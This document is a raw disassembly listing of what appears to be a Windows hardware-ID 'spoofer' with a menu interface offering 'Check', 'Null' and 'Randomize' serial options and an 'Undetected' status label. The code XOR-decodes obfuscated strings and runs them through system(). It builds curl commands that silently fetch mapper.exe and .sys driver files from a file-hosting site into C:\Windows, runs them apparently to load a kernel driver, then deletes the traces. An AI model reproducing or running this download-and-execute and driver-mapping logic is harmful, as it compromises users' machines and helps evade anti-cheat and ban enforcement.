xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400423c0
cmp r8d, 0x32
jge 0x140042513
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400424e0
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_Windows_elhrtr.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140042578
mov qword [rbp - 0x50], 0
movaps xmm1, xmm7
lea rcx, [rbp - 0x50]
call fcn.140010e90
mov rcx, qword [0x140095950]
mov rdx, qword [rcx + 0x1d18]
movss xmm0, dword [rdx + 0x2a8]
cmp qword [rdx + 0x1e8], 0
jne 0x14004259b
cmp qword [rcx + 0x2178], 0
je 0x1400425a3
movss xmm0, dword [rdx + 0x278]
subss xmm0, dword [rdx + 0x118]
movss dword [rbp - 0x48], xmm0
mov dword [rbp - 0x44], 0x42040000
lea rdx, [rbp - 0x48]
lea rcx, str.Check_Serials
call fcn.140039710
test al, al
je 0x1400429e8
movups xmm0, xmmword [0x14008d270]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x14008d280]
movups xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [0x14008d290]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x14008d2a0]
movups xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [0x14008d2b0]
movups xmmword [rbp + 0x230], xmm0
movsd xmm0, qword [0x14008d2c0]
movsd qword [rbp + 0x240], xmm0
mov eax, dword [0x14008d2c8]
mov dword [rbp + 0x248], eax
mov r8d, r12d
cmp r15d, 2
jl 0x14004278d
movdqa xmm5, xmmword [0x14008d5b0]
movdqa xmm4, xmmword [0x14008d720]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rbp + 0x1b0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008d5d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008d5d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140042680
cmp r8d, 0x5c
jge 0x1400427d3
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400427a0
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14008d2d0]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x14008d2e0]
movups xmmword [rbp + 0x200], xmm1
movsd xmm0, qword [str.cg__gx59_Z]
movsd qword [rbp + 0x210], xmm0
movzx eax, word [0x14008d2f8]
mov word [rbp + 0x218], ax
movzx eax, byte [0x14008d2fa]
mov byte [rbp + 0x21a], al
mov r8d, r12d
cmp r15d, 2
jl 0x14004297d
movdqa xmm5, xmmword [0x14008d5b0]
movdqa xmm4, xmmword [0x14008d720]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rbp + 0x1b0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008d5d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008d5d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140042870
cmp r8d, 0x2b
jge 0x1400429c3
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140042990
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_Windows_elhrtr.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140042a21
mov qword [rbp - 0x40], 0
movaps xmm1, xmm7
lea rcx, [rbp - 0x40]
call fcn.140010e90
call fcn.14003ac90
mov r11, qword [0x140095950]
mov rcx, qword [r11 + 0x1d18]
movss xmm0, dword [rcx + 0x2a8]
cmp qword [rcx + 0x1e8], 0
jne 0x140042a50
cmp qword [r11 + 0x2178], 0
je 0x140042a58
movss xmm0, dword [rcx + 0x278]
subss xmm0, dword [rcx + 0x118]
movss dword [rbp - 0x38], xmm0
mov dword [rbp - 0x34], 0x42040000
lea rdx, [rbp - 0x38]
lea rcx, str.Null_Serials
call fcn.140039710
test al, al
je 0x140042db0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], r12
mov ecx, 0x50
call fcn.140045214
mov rcx, rax
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x200], 0x4e
mov qword [rbp + 0x208], 0x4f
movups xmm0, xmmword [str.curl___silent__o__C:_Windows_mapper.exe___https:__files.catbox.moe_65uvq3.bin_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008d070]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x14008d080]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x14008d090]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x14008d0a0]
movsd qword [rax + 0x40], xmm0
mov eax, dword [0x14008d0a8]
mov dword [rcx + 0x48], eax
movzx eax, word [0x14008d0ac]
mov word [rcx + 0x4c], ax
mov byte [rcx + 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], r12
mov ecx, 0x50
call fcn.140045214
mov rcx, rax
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1c0], 0x4e
mov qword [rbp + 0x1c8], 0x4f
movups xmm0, xmmword [str.curl___silent__o__C:_Windows_btbz6p.sys___https:__files.catbox.moe_btbz6p.sys_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008d0c0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x14008d0d0]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x14008d0e0]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x14008d0f0]
movsd qword [rax + 0x40], xmm0
mov eax, dword [0x14008d0f8]
mov dword [rcx + 0x48], eax
movzx eax, word [0x14008d0fc]
mov word [rcx + 0x4c], ax
mov byte [rcx + 0x4e], 0
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rcx, qword [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test ebx, ebx
jne 0x1400438ec
test eax, eax
jne 0x1400438ec
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], r12
lea ecx, [rbx + 0x30]
call fcn.140045214
mov rcx, rax
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e0], 0x2b
mov qword [rbp + 0x1e8], 0x2f
movups xmm0, xmmword [str.C:_Windows_mapper.exe_C:_Windows_btbz6p.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008d138]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14008d148]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14008d150]
mov word [rcx + 0x28], ax
movzx eax, byte [0x14008d152]
mov byte [rcx + 0x2a], al
mov byte [rcx + 0x2b], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x140043869
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_Windows_btbz6p.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Windows_mapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140042ce3
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042cde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400438c5
call fcn.140045020
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x140042d3d
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042d38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043948
call fcn.140045020
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140042d97
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042d92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400439b1
call fcn.140045020
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], 0
mov rax, qword [0x140095950]
mov rdx, qword [rax + 0x1d18]
movss xmm0, dword [rdx + 0x2a8]
cmp qword [rdx + 0x1e8], 0
jne 0x140042dda
cmp qword [rax + 0x2178], 0
je 0x140042de2
movss xmm0, dword [rdx + 0x278]
subss xmm0, dword [rdx + 0x118]
movss dword [rbp - 0x30], xmm0
mov dword [rbp - 0x2c], 0x42040000
lea rdx, [rbp - 0x30]
lea rcx, str.Randomize_Serials
call fcn.140039710
test al, al
je 0x140043121
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], r12
mov ecx, 0x50
call fcn.140045214
mov rcx, rax
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e0], 0x4e
mov qword [rbp + 0x1e8], 0x4f
movups xmm0, xmmword [str.curl___silent__o__C:_Windows_mapper.exe___https:__files.catbox.moe_65uvq3.bin_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008d070]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x14008d080]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x14008d090]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x14008d0a0]
movsd qword [rax + 0x40], xmm0
mov eax, dword [0x14008d0a8]
mov dword [rcx + 0x48], eax
movzx eax, word [0x14008d0ac]
mov word [rcx + 0x4c], ax
mov byte [rcx + 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], r12
mov ecx, 0x50
call fcn.140045214
mov rcx, rax
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1c0], 0x4e
mov qword [rbp + 0x1c8], 0x4f
movups xmm0, xmmword [str.curl___silent__o__C:_Windows_8lw448.sys___https:__files.catbox.moe_8lw448.sys_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008d1e0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x14008d1f0]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x14008d200]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x14008d210]
movsd qword [rax + 0x40], xmm0
mov eax, dword [0x14008d218]
mov dword [rcx + 0x48], eax
movzx eax, word [0x14008d21c]
mov word [rcx + 0x4c], ax
mov byte [rcx + 0x4e], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rcx, qword [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test ebx, ebx
jne 0x140043a3b
test eax, eax
jne 0x140043a3b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], r12
lea ecx, [rbx + 0x30]
call fcn.140045214
mov rcx, rax
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x200], 0x2b
mov qword [rbp + 0x208], 0x2f
movups xmm0, xmmword [str.C:_Windows_mapper.exe_C:_Windows_8lw448.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008d230]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14008d240]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14008d248]
mov word [rcx + 0x28], ax
movzx eax, byte [0x14008d24a]
mov byte [rcx + 0x2a], al
mov byte [rcx + 0x2b], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x1400439b8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_Windows_8lw448.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Windows_mapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x14004306d
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043068
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043a14
call fcn.140045020
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x1400430c7
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400430c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043a97
call fcn.140045020
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140043121
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004311c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043af4
call fcn.140045020
movss xmm6, dword [0x14008d470]
call fcn.14000a720
call fcn.140010500
mov rcx, qword [0x140095950]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r9, [rax + rax*2]
lea rax, [0x140047cd0]
mov r10d, dword [rax + r9*4 + 8]
cmp dword [rax + r9*4], 8
jne 0x140043697
mov eax, dword [rax + r9*4 + 4]
cmp eax, 1
jne 0x140043678
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r10 + rcx + 0x1638], eax
jmp 0x140043697
call fcn.14003ac90
mov rbx, qword [0x140095950]
mov dword [rbp + 0x1b0], 5
movups xmm0, xmmword [rbx + 0x174c]
movups xmmword [rbp + 0x1b4], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp + 0x1b0]
call fcn.1400229f0
mov qword [rbx + 0x174c], 0x3f19999a
mov dword [rbx + 0x1754], 0x3f800000
mov dword [rbx + 0x1758], 0x3f000000
mov rbx, qword [0x140095950]
mov dword [rbp + 0x24], 6
movss xmm0, dword [rbx + 0x1660]
movss dword [rbp + 0x28], xmm0
lea rcx, [rbx + 0x1e80]
lea rdx, [rbp + 0x24]
call fcn.140022900
mov dword [rbx + 0x1660], 0x40400000
mov rbx, qword [0x140095950]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm15
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov dword [rbp - 0x28], 0x437a0000
mov dword [rbp - 0x24], 0x43480000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov r8, qword [rbx + 0x1d18]
movsxd rax, dword [r8 + 0x108]
mov r8, qword [r8 + 0x110]
mov r8d, dword [r8 + rax*4 - 4]
xor edx, edx
lea rcx, str.Loader_Status
call fcn.140002830
cmp dword [rbx + 0x1d6c], eax
jne 0x1400432b3
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x1400432c2
mov byte [rbx + 0x1dac], 1
mov r9b, 1
lea r8, [rbp - 0x28]
mov edx, eax
lea rcx, str.Loader_Status
call fcn.14000a500
mov r8b, 1
mov edx, 1
lea rcx, str.____Spoofer_Info:
call fcn.140040cb0
lea rcx, str.Status:
call fcn.140038c50
movaps xmm1, xmm7
movaps xmm0, xmm8
call fcn.140011130
movaps xmm4, xmmword [0x14008d650]
movups xmmword [rbp + 0x1b0], xmm4
lea rdx, str.Undetected
lea rcx, [rbp + 0x1b0]
call fcn.140038d50
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14004335d
mov qword [rbp - 0x20], 0
movaps xmm1, xmm7
lea rcx, [rbp - 0x20]
call fcn.140010e90
lea rcx, str.Last_Update:
call fcn.140038c50
movaps xmm1, xmm7
movaps xmm0, xmm8
call fcn.140011130
movaps xmm4, xmmword [0x14008d6e0]
movups xmmword [rbp + 0x1b0], xmm4
lea rdx, str.5_25_2024
lea rcx, [rbp + 0x1b0]
call fcn.140038d50
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400433cf
mov qword [rbp - 0x18], 0
movaps xmm1, xmm7
lea rcx, [rbp - 0x18]
call fcn.140010e90
lea rcx, str.Version:
call fcn.140038c50
movaps xmm1, xmm7
movaps xmm0, xmm8
call fcn.140011130
movaps xmm4, xmmword [0x14008d640]
movups xmmword [rbp + 0x1b0], xmm4
lea rdx, [0x14008cf6c]
lea rcx, [rbp + 0x1b0]
call fcn.140038d50
call fcn.14000a720
movaps xmm1, xmm7
movaps xmm0, xmm8
call fcn.140011130
mov dword [rbp - 0x10], 0x437a0000
mov dword [rbp - 0xc], 0x43480000
mov rbx, qword [0x140095950]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov r8, qword [rbx + 0x1d18]
movsxd rax, dword [r8 + 0x108]
mov r8, qword [r8 + 0x110]
mov r8d, dword [r8 + rax*4 - 4]
xor edx, edx
lea rcx, str.Change_Log
call fcn.140002830
cmp dword [rbx + 0x1d6c], eax
jne 0x140043472
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x140043481
mov byte [rbx + 0x1dac], 1
mov r9b, 1
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, str.Change_Log
call fcn.14000a500
mov r8b, 1
mov edx, 1
lea rcx, str.____Change_Logs:
call fcn.140040cb0
lea rcx, str.Updated_Null_Serial
call fcn.140038c50
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400434ef
mov qword [rbp - 8], 0
movaps xmm1, xmm7
lea rcx, [rbp - 8]
call fcn.140010e90
lea rcx, str.Added_Randomize_Serial
call fcn.140038c50
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140043534
mov qword [rbp], 0
movaps xmm1, xmm7
lea rcx, [rbp]
call fcn.140010e90
lea rcx, str.Added_Deep_Trace_Clean
call fcn.140038c50
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14004357b
mov qword [rsp + 0x68], 0
movaps xmm1, xmm7
lea rcx, [rsp + 0x68]
call fcn.140010e90
lea rcx, str.Added_HWID_Checker
call fcn.140038c50
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400435c2
mov qword [rsp + 0x70], 0
movaps xmm1, xmm7
lea rcx, [rsp + 0x70]
call fcn.140010e90
lea rcx, str.Updated_to_new_UI
call fcn.140038c50
call fcn.14000a720
mov r8, qword [0x140095950]
movsxd rax, dword [r8 + 0x1e80]
lea rcx, [rax + rax*2]
mov rdx, qword [r8 + 0x1e88]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea r9, [rax + rax*2]
lea rax, [0x140047cd0]
mov r10d, dword [rax + r9*4 + 8]
cmp dword [rax + r9*4], 8
jne 0x14004363d
mov eax, dword [rax + r9*4 + 4]
cmp eax, 1
jne 0x140043620
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r10 + r8 + 0x1638], eax
jmp 0x14004363d
cmp eax, 2
jne 0x14004363d
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r10 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r10 + r8 + 0x163c], eax
dec dword [r8 + 0x1e80]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
jmp 0x140043129
cmp eax, 2
jne 0x140043697
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r10 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r10 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140009410
mov rcx, qword [0x1400959a0]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r12d
movss dword [rsp + 0x28], xmm14
mov dword [rsp + 0x20], r12d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x1400959a0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14004371d
call fcn.1400098e0
mov rax, qword [0x140095950]
mov rcx, qword [rax + 0x1ef8]
mov rax, qword [rcx]
add rax, 0xa8
mov rcx, r12
cmp byte [rax], r12b
cmovne rcx, rax
call fcn.140034510
mov rcx, qword [0x1400959a0]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r13 + 8], 0x400
je 0x1400437fa
call fcn.140018e70
mov rbx, qword [0x140095950]
mov r14d, 1
mov eax, dword [rbx + 0x1628]
cmp eax, r14d
jle 0x14004379c
mov esi, 8
nop dword [rax]
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x14004378a
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x140043777
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x14004378a
xor edx, edx
mov rcx, rdi
call rax
inc r14d
add rsi, 8
mov eax, dword [rbx + 0x1628]
cmp r14d, eax
jl 0x140043750
mov r14d, 1
cmp eax, r14d
jle 0x1400437fa
mov esi, 8
nop dword [rax]
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x1400437ea
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x1400437d7
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x1400437ea
xor edx, edx
mov rcx, rdi
call rax
inc r14d
add rsi, 8
cmp r14d, dword [rbx + 0x1628]
jl 0x1400437b0
mov rcx, qword [0x1400959a0]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140043837
mov rcx, qword [0x1400959a0]
mov rax, qword [rcx]
